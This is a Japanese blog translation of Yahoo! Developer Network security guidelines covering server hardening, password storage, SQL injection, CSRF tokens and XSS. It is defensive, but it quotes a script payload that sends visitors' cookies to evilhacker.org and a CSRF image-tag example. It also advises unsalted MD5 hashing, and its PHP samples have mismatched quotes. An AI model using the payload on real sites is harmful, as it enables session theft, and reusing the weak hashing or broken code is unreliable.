スポンサーリンク

原文は、 Yahoo! Developer Network - Security Best Practicesです。
http://developer.yahoo.com/security/

Yahoo!は、ユーザの個人情報のセキュリティを真剣に取り扱っています。そして、私たちの開発者も同じであることを望みます。ここには、あなたのアプリケーションで、あなたのユーザあの信頼を守るためのガイドラインがあります。

YDN セキュリティベストプラクティス あなたのサービスを守る

ユーザの情報を守るためのファーストステップとして、あなたのシステムを最新のセキュリティパッチを確実にあてます。利用しているサーバがあなたの管理下にないなら、サーバのプロパイダにシステムが最新に保たれているか尋ねてください。

インストールしたオペレーティングシステムの最新のセキュリティパッチを確実に適用してください。
あなたのウェブサーバのソフトウェアのアップデートを常に最新に保ってください。
インターネットからサーバへのアクセスを制限してください。ファイヤーウォールを利用し、以下のポート以外のアクセスはブロックしてください。
  • 80 (HTTP)
  • 443 (HTTPS - アプリケーションが利用している場合だけです)
  • 22 (SSH)
あなたのサーバへのリモートログインやファイルコピーには、SSH/SCPを利用してください。telnetやFTPは、クリアテキストのパスワードを送信するので、あなたのパスワードを簡単に見ることができてしまいます。

パスワードは、推測が難しいものを選ぶようにしてください。ハッカーは、ウェブサーバのパスワードの推測にたいてい辞書攻撃(dictionary attacks)を利用します。パスワードには、大文字や小文字、数字、記号($#@%^&*)を含めるようにしてください。

YDN セキュリティベストプラクティス あなたのネットワークを守る

インターネットに公開されているサービスは、ユーザのアクセスが必要な部分だけであることを確実にしてください。
  • インターネットからアクセスできないプライベートネットワークのサーバ(例えばバックエンドデータベースサーバ)にユーザが直接アクセスできないようにしてください。それができない場合は、あなたのウェブサーバ以外のコンピュータのアクセスをファイヤーウォールのソフトウェアでブロックしてください。
YDN セキュリティベストプラクティス あなたのアプリケーションを守る

  • クリアテキストでパスワードを保存してはいけません。MD5やSHA-256といったハッシュアルゴリズムを利用し、ユーザのパスワードのシグネチャを作成し、ストレージに保存してください。あなたのログインページでパスワードを受け取ったら、同じアルゴリズムを利用して、ストレージに保存したものと比較し、ユーザ認証を行うことができます。
  • ユーザの識別にcookieを利用する場合、単純にユーザ名をcookieに格納し、リクエストの認証をそれだけに頼ってはいけません。これは、ハッカーにとって、推測や偽造がとても簡単です。代わりに、ログインやパスワードに基づいたユニークなシグネチャを生成し、cookieに格納してください。
  • あなたのアプリケーションでパラメータをSQLステートメントに渡すときは、慎重にチェックしていください。未処理のユーザかあらの入力は、あなたのデータベースを容易に乗っ取る(ハイジャック)することができます。PHPでは、この手の攻撃を防ぐために mysql_relal_escape_string() 関数を呼びます。
  • 定期的にあなたのシステムから使わない/不必要なユーザデータを削除してください。攻撃者があなたのシステムのコントロールを奪ったときのダメージを最小限にすることができます。

YDN セキュリティベストプラクティス リクエストフォージェリー(リクエスト偽装)から守る

あなたのアプリケーションから出たあなたのアプリケーションへのリクエストであることを確かにしてください。

ユーザの写真をマネージするアプリケーションがあったとします。もし、アプリケーションがユーザの写真を削除する機能(例えば、 http://myapp.org/delete_photos.php ) を提供しているとき、攻撃者は、攻撃者のウェブページに同じURLを<img src="http://myapp.org/delete_photos.php">のように埋め込むことができます。 もし、あなたのユーザがその攻撃者のページに訪れたら、そのユーザの写真を消去されてしまうでしょう。


ここにあなたのアプリケーションへ来たリクエストがアプリケーションから出されたことを確かにする方法があります。

あなたのアプリケーションへのURLの終わりにユーザ固有のシグネチャを追加します。

<?php
$delete_signature = md5($username . "xyz123_delete_photos");
?>

<!-- signed link -->

<a href="/delete_photos.php?signature=<?php echo $delete_signature; ?>'>Delete Photos</a>

ユーザに変わって、アクションをとるまえに、パラメータの"sig"を同じハッシュオペレーションを利用して、正しいことを確認します。

<?php
$delete_signature = md5($username . "xyz123_delete_photos");

if ($_GET['signature'] === $delete_signature) {
  // 削除の処理を実行する
  // ...
} else {
  // これは問題があります。
  // ...
}
?>

あなたの使っているディベロップメントフレームワークがユーザセッションコンテナ(たとえば、PHP)をサポートしているなら、タイムスタンプでユニークなシグネチャを生成し、リクエストごとにセッションにそれを保存し、後に続くサーバへのリクエストのためにformやURLに埋め込みます。シグネチャが一致したときだけ、ユーザに代わったアクションを実行し、時間が過ぎていないことを確認してください。

<?php
$_SESSION['signature'] = md5(uniqid(rand(), true) + $username);
$_SESSION['signature_timestamp'] = time();
?>


<!-- signed link -->
<a href="/delete_photos.php?signature=<?php echo $_SESSION['signature']; ?>'>Delete Photos</a>

<!-- signed form -->
<form method="POST' action="/edit_photos.php'>
<input type="hidden' name="signature' value="<?php echo $_SESSION['signature']; ?>'/>

<input type="text' name="search' />
<input type="submit' />
</form>

YDN セキュリティベストプラクティス Cross-Site-Scriptingから守る

ユーザからの入力を受け入れ、ほかのユーザにそれを表示する場合、最初のユーザ(入力をしたユーザ)が次のユーザの情報を確実に盗めないようにする必要があります。

たとえば、ゲストブックアプリケーションで、他者が閲覧することができるコメントを入力することができる場合、攻撃者は、次のようなコメントを残すことができます。

Hello Everyone!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>

この例では、あなたのサイトのユーザのcookieを evilhacker.orgでまっているサーバに送信することができます。このような種類の攻撃から保護するために、入力することを許す厳しいルールを定義して、すべてのユーザの入力をチェックしてください。ユーザの入力のフィルターするためにホワイトリスト(許可する文字だけ)を利用してください。ほとんどの場合、 < や >の文字は、許可する必要がありません。
参照しているページ (サイト内): [2009-05-18-3]

スポンサーリンク
スポンサーリンク
 
いつもシェア、ありがとうございます!


もっと情報を探しませんか?

関連記事

最近の記事

人気のページ

はてなの人気のブックマーク

スポンサーリンク
 

過去ログ

2019 : 01 02 03 04 05 06 07 08 09 10 11 12
2018 : 01 02 03 04 05 06 07 08 09 10 11 12
2017 : 01 02 03 04 05 06 07 08 09 10 11 12
2016 : 01 02 03 04 05 06 07 08 09 10 11 12
2015 : 01 02 03 04 05 06 07 08 09 10 11 12
2014 : 01 02 03 04 05 06 07 08 09 10 11 12
2013 : 01 02 03 04 05 06 07 08 09 10 11 12
2012 : 01 02 03 04 05 06 07 08 09 10 11 12
2011 : 01 02 03 04 05 06 07 08 09 10 11 12
2010 : 01 02 03 04 05 06 07 08 09 10 11 12
2009 : 01 02 03 04 05 06 07 08 09 10 11 12
2008 : 01 02 03 04 05 06 07 08 09 10 11 12
2007 : 01 02 03 04 05 06 07 08 09 10 11 12
2006 : 01 02 03 04 05 06 07 08 09 10 11 12
2005 : 01 02 03 04 05 06 07 08 09 10 11 12
2004 : 01 02 03 04 05 06 07 08 09 10 11 12
2003 : 01 02 03 04 05 06 07 08 09 10 11 12

サイト

Vim入門

C言語入門

C++入門

JavaScript/Node.js入門

Python入門

FreeBSD入門

Ubuntu入門

セキュリティ入門

パソコン自作入門

ブログ

トップ


プライバシーポリシー